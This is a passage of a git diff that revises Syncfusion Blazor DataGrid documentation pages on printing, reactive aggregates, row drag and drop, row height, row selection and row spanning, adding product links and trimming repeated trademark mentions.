+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports persisting data changes to a server or database using RESTful web services. All CRUD operations Create, Read, Update, and Delete are managed by the [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html), which enables seamless communication with server-side data sources. This configuration ensures that changes made in the Grid UI are reliably synchronized with the backend.
 
 **Supported Adaptors**
 
diff --git a/blazor/datagrid/print.md b/blazor/datagrid/print.md
index 4c7857c95c..68944242ac 100644
--- a/blazor/datagrid/print.md
+++ b/blazor/datagrid/print.md
@@ -11,7 +11,7 @@ documentation: ug
 
 # Print in Blazor DataGrid
 
-The **Print** feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid generates a print-ready view of DataGrid content for offline access and documentation. Initiate printing through the  built-in toolbar option or programmatically using the [PrintAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PrintAsync) method. The output reflects the DataGrid’s current state, including visible columns, sorting, and filtering, and opens the browser’s print dialog.
+The **Print** feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) generates a print-ready view of DataGrid content for offline access and documentation. Initiate printing through the  built-in toolbar option or programmatically using the [PrintAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PrintAsync) method. The output reflects the DataGrid’s current state, including visible columns, sorting, and filtering, and opens the browser’s print dialog.
 
 To enable printing from the toolbar, add the **"Print"** item to the [Toolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Toolbar) property.
 
@@ -170,7 +170,7 @@ internal sealed class OrderData
 
 ## Print only the visible page
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid prints all pages in the dataset by default. To print only the currently visible page, set the [PrintMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PrintMode.html) property to **CurrentPage**.This configuration applies when printing is triggered using the built-in toolbar or programmatically through the [PrintAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PrintAsync) method.
+The Blazor DataGrid prints all pages in the dataset by default. To print only the currently visible page, set the [PrintMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PrintMode.html) property to **CurrentPage**.This configuration applies when printing is triggered using the built-in toolbar or programmatically through the [PrintAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PrintAsync) method.
 
 **Available print modes**
 
@@ -356,7 +356,7 @@ The following image represents Hierarchial Grid with print toolbar item,
 
 ## Printing large number of Columns
 
-When printing a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid that contains a large number of columns, the default page size used by the browser (such as A4) may not have enough space to display all columns. As a result, some columns may be hidden in the print preview or printed output.
+When printing a Blazor DataGrid that contains a large number of columns, the default page size used by the browser (such as A4) may not have enough space to display all columns. As a result, some columns may be hidden in the print preview or printed output.
 To include more columns in the printable area:
 
 - Switch to **landscape orientation** in the browser’s print dialog.
diff --git a/blazor/datagrid/reactive-aggregate.md b/blazor/datagrid/reactive-aggregate.md
index f36edeae30..1dcb63471c 100644
--- a/blazor/datagrid/reactive-aggregate.md
+++ b/blazor/datagrid/reactive-aggregate.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Reactive aggregates in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports reactive aggregates that update dynamically as data changes. Aggregate values are recalculated when underlying data is edited, providing real-time updates to footer, group footer, and group caption summaries.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports reactive aggregates that update dynamically as data changes. Aggregate values are recalculated when underlying data is edited, providing real-time updates to footer, group footer, and group caption summaries.
 
 ## Auto-update aggregate values in batch editing
 
diff --git a/blazor/datagrid/row-drag-and-drop.md b/blazor/datagrid/row-drag-and-drop.md
index 64a2da24ab..6be9a56d58 100644
--- a/blazor/datagrid/row-drag-and-drop.md
+++ b/blazor/datagrid/row-drag-and-drop.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Row Drag and Drop in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports built-in row drag-and-drop functionality. Rows can be reordered within the grid, moved between grids, or dropped into custom components.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports built-in row drag-and-drop functionality. Rows can be reordered within the grid, moved between grids, or dropped into custom components.
 
 Enable row drag and drop by setting [AllowRowDragAndDrop](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowRowDragAndDrop) to true. Configure the drop target using the [TargetID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridRowDropSettings.html#Syncfusion_Blazor_Grids_GridRowDropSettings_TargetID) property in [RowDropSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridRowDropSettings.html).
 
@@ -18,7 +18,7 @@ Enable row drag and drop by setting [AllowRowDragAndDrop](https://help.syncfusio
 
 ## Drag and drop within DataGrid
 
-The drag and drop feature enables reordering of rows within the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid using the drag handle. Set the [AllowRowDragAndDrop](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowRowDragAndDrop) property to **true** to enable this feature. By default, the value is **false**.
+The drag and drop feature enables reordering of rows within the Blazor DataGrid using the drag handle. Set the [AllowRowDragAndDrop](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowRowDragAndDrop) property to **true** to enable this feature. By default, the value is **false**.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -104,7 +104,7 @@ The drag and drop feature enables reordering of rows within the Syncfusion<sup s
 ## Drag and drop to DataGrid
 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dragging rows from one grid and dropping them into another. Enable this feature by setting the [AllowRowDragAndDrop](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowRowDragAndDrop) property to **true** on both grids. To specify the target grid, configure the [RowDropSettings.TargetID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridRowDropSettings.html#Syncfusion_Blazor_Grids_GridRowDropSettings_TargetID) property with the target grid's ID.
+The Blazor DataGrid supports dragging rows from one grid and dropping them into another. Enable this feature by setting the [AllowRowDragAndDrop](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowRowDragAndDrop) property to **true** on both grids. To specify the target grid, configure the [RowDropSettings.TargetID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridRowDropSettings.html#Syncfusion_Blazor_Grids_GridRowDropSettings_TargetID) property with the target grid's ID.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -201,7 +201,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dr
 
 ## Drag and drop in empty area
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dropping rows in empty content areas. By default, the `AllowEmptyAreaDrop` setting is enabled, allowing rows to be dropped anywhere within the grid content. Rows dropped in an empty area are appended to the end of the data. This applies to both within-grid and between-grid scenarios.
+The Blazor DataGrid supports dropping rows in empty content areas. By default, the `AllowEmptyAreaDrop` setting is enabled, allowing rows to be dropped anywhere within the grid content. Rows dropped in an empty area are appended to the end of the data. This applies to both within-grid and between-grid scenarios.
 
 To display the drop indicator only when hovering over rows, disable the AllowEmptyAreaDrop property in the RowDropSettings configuration.
 
@@ -283,7 +283,7 @@ public class OrdersDetails
 
 ## Drag and drop to custom component
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dragging rows into custom components. Enable [AllowRowDragAndDrop] and set [RowDropSettings.TargetID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridRowDropSettings.html#Syncfusion_Blazor_Grids_GridRowDropSettings_TargetID) to the **ID** of the target component.
+The Blazor DataGrid supports dragging rows into custom components. Enable [AllowRowDragAndDrop] and set [RowDropSettings.TargetID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridRowDropSettings.html#Syncfusion_Blazor_Grids_GridRowDropSettings_TargetID) to the **ID** of the target component.
 
 In the following example, selected grid rows are dropped into a TreeGrid using the [RowDropped](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowDropped) event. After the drop, the corresponding rows are removed from the source grid and added to the target:
 
@@ -670,7 +670,7 @@ public class WrapData
 
 ## Drag and drop events 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid exposes events to customize and track drag-and-drop operations:
+The Blazor DataGrid exposes events to customize and track drag-and-drop operations:
 
 - [RowDragStarting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowDragStarting) – Triggered when dragging starts.
 - [RowDropping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowDropping) – Triggered while dragged rows are being dropped on the target; can be canceled.
diff --git a/blazor/datagrid/row-height.md b/blazor/datagrid/row-height.md
index eb8ce0dd61..8adddc9475 100644
--- a/blazor/datagrid/row-height.md
+++ b/blazor/datagrid/row-height.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Row Height in Blazor DataGrid Component
 
-You can customize the row height of datagrid rows through the [RowHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowHeight) property. The [RowHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowHeight) property is used to change the row height of entire datagrid rows.
+You can customize the row height of Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) rows through the [RowHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowHeight) property. The [RowHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowHeight) property is used to change the row height of entire datagrid rows.
 
 In the below example, the `RowHeight` is set as '60'.
 
diff --git a/blazor/datagrid/row-selection.md b/blazor/datagrid/row-selection.md
index 50ef4ce6f0..3037df073a 100644
--- a/blazor/datagrid/row-selection.md
+++ b/blazor/datagrid/row-selection.md
@@ -9,13 +9,13 @@ documentation: ug
 
 # Row Selection in Blazor DataGrid
 
-Row selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables interactive selection of individual rows or ranges of rows. Selection can be performed using mouse clicks or keyboard navigation (arrow keys). This feature is useful for highlighting, manipulating, or performing actions on specific rows within the grid.
+Row selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables interactive selection of individual rows or ranges of rows. Selection can be performed using mouse clicks or keyboard navigation (arrow keys). This feature is useful for highlighting, manipulating, or performing actions on specific rows within the grid.
 
 > To enable row selection, set the [GridSelectionSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Mode) property to **Row** or **Both**. This property determines the selection mode of the grid.
 
 ## Single row selection
 
-Single row selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables selection of one row at a time. This feature is useful for focusing on specific rows or performing actions on the data within a particular row.
+Single row selection in the Blazor DataGrid enables selection of one row at a time. This feature is useful for focusing on specific rows or performing actions on the data within a particular row.
 
 To enable single row selection, set the [GridSelectionSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Mode) property to **Row** and the [GridSelectionSettings.Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Type)  property to **Single**. This configuration allows only one row to be selected at a time.
 
@@ -98,7 +98,7 @@ public class OrderDetails
 
 ## Multiple row selection
 
-Multiple row selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows selection of multiple rows within the grid. This feature is valuable when actions need to be performed on several rows simultaneously or when focusing on specific data segments.
+Multiple row selection in the Blazor DataGrid allows selection of multiple rows within the grid. This feature is valuable when actions need to be performed on several rows simultaneously or when focusing on specific data segments.
 
 To enable multiple row selection, set the [GridSelectionSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Mode)  property to **Row** and the [GridSelectionSettings.Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Type) property to **Multiple**. This configuration allows multiple rows to be selected at a time.
 
@@ -181,7 +181,7 @@ public class OrderDetails
 
 ## Select row at initial rendering
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows selection of a specific row during the initial rendering of the grid. This feature is useful for highlighting or pre-selecting a particular row when the grid loads. To achieve this, use the [SelectedRowIndex](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectedRowIndex) property.
+The Blazor DataGrid allows selection of a specific row during the initial rendering of the grid. This feature is useful for highlighting or pre-selecting a particular row when the grid loads. To achieve this, use the [SelectedRowIndex](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectedRowIndex) property.
 The following example demonstrates how to select a row during the initial rendering:
 
 {% tabs %}
@@ -257,7 +257,7 @@ public class OrderDetails
 
 ## Select rows in any page based on index value
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows selection of rows across different pages based on their index value. This feature is useful for performing actions such as highlighting, styling, or executing operations on rows regardless of their location within the paginated grid.
+The Blazor DataGrid allows selection of rows across different pages based on their index value. This feature is useful for performing actions such as highlighting, styling, or executing operations on rows regardless of their location within the paginated grid.
 
 To achieve this, use the [SelectRowsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectRowsAsync_System_Int32___) method along with the [GoToPageAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GoToPageAsync_System_Int32_) method. By handling the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListEvents-2.html#Syncfusion_Blazor_DropDowns_DropDownListEvents_2_ValueChange) event of [DropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app), logic can be implemented to navigate to the desired page and select the row based on its index.
 
@@ -373,7 +373,7 @@ public class Order
 
 ## Multiple row selection by single click on row
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows multiple row selection by clicking on rows individually, without using the **Ctrl** or **Shift** keys. When a row is clicked, it is added to the selection. Clicking another row adds it to the selection without deselecting previously selected rows. To deselect a row, click on it again.
+The Blazor DataGrid allows multiple row selection by clicking on rows individually, without using the **Ctrl** or **Shift** keys. When a row is clicked, it is added to the selection. Clicking another row adds it to the selection without deselecting previously selected rows. To deselect a row, click on it again.
 
 To enable simple multiple row selection, set the [GridSelectionSettings.EnableSimpleMultiRowSelection](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_EnableSimpleMultiRowSelection) property to **true**.
 
@@ -463,11 +463,11 @@ public class OrderDetails
 
 ## Select row via programmatically
 
-Single row selection, multiple row selection, and range selection can be performed externally in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid using built-in methods. This feature enables interaction with specific rows programmatically.
+Single row selection, multiple row selection, and range selection can be performed externally in the Blazor DataGrid using built-in methods. This feature enables interaction with specific rows programmatically.
 
 ### Single row selection
 
-Single row selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows selection of one row at a time. This is useful for focusing on specific rows or performing actions on the data within a particular row.
+Single row selection in the Blazor DataGrid allows selection of one row at a time. This is useful for focusing on specific rows or performing actions on the data within a particular row.
 
 To achieve single row selection, use the [SelectRowAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectRowAsync_System_Int32_System_Nullable_System_Boolean__) method. This method allows programmatic selection of a specific row by specifying its index.
 
@@ -559,7 +559,7 @@ public class OrderDetails
 
 ### Multiple rows selection
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows selection of multiple rows simultaneously. This feature is valuable when actions or operations need to be performed on several rows at once or when focusing on specific areas of data.
+The Blazor DataGrid allows selection of multiple rows simultaneously. This feature is valuable when actions or operations need to be performed on several rows at once or when focusing on specific areas of data.
 
 To achieve multiple row selection, use the [SelectRowsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectRowsAsync_System_Int32___) method. This method enables selection of a collection of rows by specifying their indexes, allowing interaction with multiple rows together.
 
@@ -655,7 +655,7 @@ public class OrderDetails
 
 ### Range of rows selection
 
-Range selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables selection of a continuous set of rows within the grid. This feature is useful for performing actions on multiple rows simultaneously or focusing on a specific range of data.
+Range selection in the Blazor DataGrid enables selection of a continuous set of rows within the grid. This feature is useful for performing actions on multiple rows simultaneously or focusing on a specific range of data.
 
 To achieve range selection, use the [SelectRowsByRangeAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectRowsByRangeAsync_System_Int32_System_Nullable_System_Int32__) method. This method selects rows between the specified start and end indexes.
 
@@ -752,7 +752,7 @@ public class OrderDetails
 
 ## Select Grid rows based on certain condition
 
-Specific rows in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be programmatically selected based on custom conditions. This feature is useful for dynamically highlighting or manipulating rows based on data-driven logic.
+Specific rows in the Blazor DataGrid can be programmatically selected based on custom conditions. This feature is useful for dynamically highlighting or manipulating rows based on data-driven logic.
 To implement conditional row selection, use the [SelectRowsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectRowsAsync_System_Int32___) method within the DataBound event of the grid.
 
 The [GetCurrentViewRecords](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GetCurrentViewRecordsAsync)  method is used to retrieve the current page records. A condition is applied to these records, and rows that meet the condition are selected during initial rendering.
@@ -857,7 +857,7 @@ public class OrderDetails
 
 ## How to get selected row indexes 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows retrieval of the indexes of currently selected rows. This feature is useful when performing actions or operations specifically on selected rows.
+The Blazor DataGrid allows retrieval of the indexes of currently selected rows. This feature is useful when performing actions or operations specifically on selected rows.
 
 To achieve this, use the [GetSelectedRowIndexesAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GetSelectedRowIndexesAsync) method. It returns an array of numbers representing the indexes of the selected rows.
 
@@ -953,7 +953,7 @@ public class OrderDetails
 
 ## How to get selected records on various pages 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows retrieval of selected records even when navigating to different pages. This feature is useful when working with large datasets and enables actions to be performed on selected records across multiple pages.
+The Blazor DataGrid allows retrieval of selected records even when navigating to different pages. This feature is useful when working with large datasets and enables actions to be performed on selected records across multiple pages.
 
 To persist selection across pages, enable the [PersistSelection](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_PersistSelection) property. By default, this property is set to **false**. To enable it, set the value to **true** in the [GridSelectionSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html) configuration.
 
@@ -1058,7 +1058,7 @@ public class OrderDetails
 
 ## How to get selected records  
 
-The get selected records feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows retrieval of data from selected rows. This is useful when performing actions on selected data or displaying specific information based on selected rows.
+The get selected records feature in the Blazor DataGrid allows retrieval of data from selected rows. This is useful when performing actions on selected data or displaying specific information based on selected rows.
 
 To retrieve the selected records, use the [GetSelectedRecordsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GetSelectedRecordsAsync) method. This method returns an array of objects representing the selected records.
 
@@ -1164,7 +1164,7 @@ public class OrderDetails
 
 ## Clear selection via programmatically 
 
-Clearing row selection programmatically in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is useful when removing existing row selections based on application logic or user actions. To achieve this, use the [ClearRowSelectionAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ClearRowSelectionAsync) method.
+Clearing row selection programmatically in the Blazor DataGrid is useful when removing existing row selections based on application logic or user actions. To achieve this, use the [ClearRowSelectionAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ClearRowSelectionAsync) method.
 
 The `ClearRowSelectionAsync` method is applicable when the [GridSelectionSettings.Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Type) is set to **Multiple** or **Single**.
 
@@ -1251,7 +1251,7 @@ public class OrderDetails
 
 ## Row selection events 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides several events related to row selection that allow customization and control over row selection behavior. These events enable implementation of logic before and after selection or deselection actions.
+The Blazor DataGrid provides several events related to row selection that allow customization and control over row selection behavior. These events enable implementation of logic before and after selection or deselection actions.
 
 * [RowSelecting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowSelecting): Triggered before a row is selected. Use this event to apply validation or logic to control whether the row should be selected.
 
diff --git a/blazor/datagrid/row-spanning.md b/blazor/datagrid/row-spanning.md
index ccd870dc39..7064dbd70f 100644
--- a/blazor/datagrid/row-spanning.md
+++ b/blazor/datagrid/row-spanning.md
@@ -9,11 +9,11 @@ documentation: ug
 
 # Row Spanning in Blazor DataGrid
 
-Row spanning in the Syncfusion Blazor DataGrid merges adjacent cells with identical values horizontally across columns within the same row. This feature reduces visual repetition and presents grouped data in a compact, readable format. It is particularly effective in scenarios where multiple columns share the same value, such as repeated product details or status indicators.
+Row spanning in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) merges adjacent cells with identical values horizontally across columns within the same row. This feature reduces visual repetition and presents grouped data in a compact, readable format. It is particularly effective in scenarios where multiple columns share the same value, such as repeated product details or status indicators.
 
 The functionality is enabled by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [SfGrid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **AutoSpanMode.Row**. When activated, the grid evaluates each row and merges neighboring cells containing identical values, resulting in a single, wider cell. The merging process is automatic and declarative, requiring no manual logic or data transformation.
 
-Row spanning is part of the broader **AutoSpanMode** enumeration, which provides multiple options for customizing cell merging behavior in the Syncfusion Blazor DataGrid. The available modes include **None**, **Row**, **Column**, and **HorizontalAndVertical**. 
+Row spanning is part of the broader **AutoSpanMode** enumeration, which provides multiple options for customizing cell merging behavior in the Blazor DataGrid. The available modes include **None**, **Row**, **Column**, and **HorizontalAndVertical**. 
 
 | Enum Value | Description |
 |---------|-----|
@@ -24,7 +24,7 @@ Row spanning is part of the broader **AutoSpanMode** enumeration, which provides
 
 ## Enable row spanning
 
-Horizontal cell merging in the Syncfusion Blazor DataGrid is enabled by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [SfGrid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **AutoSpanMode.Row**. In this mode, adjacent cells across columns within the same row are automatically merged when they contain identical values. This reduces redundancy and provides a cleaner, more compact presentation of repeated data.
+Horizontal cell merging in the Blazor DataGrid is enabled by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [SfGrid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **AutoSpanMode.Row**. In this mode, adjacent cells across columns within the same row are automatically merged when they contain identical values. This reduces redundancy and provides a cleaner, more compact presentation of repeated data.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -468,7 +468,7 @@ public class TelecastData
 
 ## Disable spanning for specific column
 
-Column spanning in Syncfusion Blazor DataGrid can be disabled for a specific column(s) by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) component to **AutoSpanMode.None**. This configuration provides precise control, enabling automatic spanning across the grid while excluding column(s) where merging is not required.
+Column spanning in Blazor DataGrid can be disabled for a specific column(s) by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) component to **AutoSpanMode.None**. This configuration provides precise control, enabling automatic spanning across the grid while excluding column(s) where merging is not required.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -910,7 +910,7 @@ public class TelecastData
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/hXByMVixeXvnPXRS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-The effective spanning behavior in the Syncfusion Blazor DataGrid is determined by the intersection of grid-level and column-level [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) modes. A column can only restrict the spanning directions permitted at the grid level and cannot enable a span direction that has been disabled globally. This ensures consistent behavior across the grid while allowing fine-grained control for individual columns.
+The effective spanning behavior in the Blazor DataGrid is determined by the intersection of grid-level and column-level [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) modes. A column can only restrict the spanning directions permitted at the grid level and cannot enable a span direction that has been disabled globally. This ensures consistent behavior across the grid while allowing fine-grained control for individual columns.
 
 
 **Combination Matrix**
@@ -938,7 +938,7 @@ The effective spanning behavior in the Syncfusion Blazor DataGrid is determined
 
 ## Apply row spanning via programmatically
 
-In addition to automatic cell merging, the Syncfusion Blazor DataGrid provides API support for manually merging cells when custom layout behavior is required. This functionality is available through the [MergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_MergeCellsAsync_Syncfusion_Blazor_Grids_MergeCellInfo_) method, which enables the definition of rectangular regions of cells to be merged programmatically.
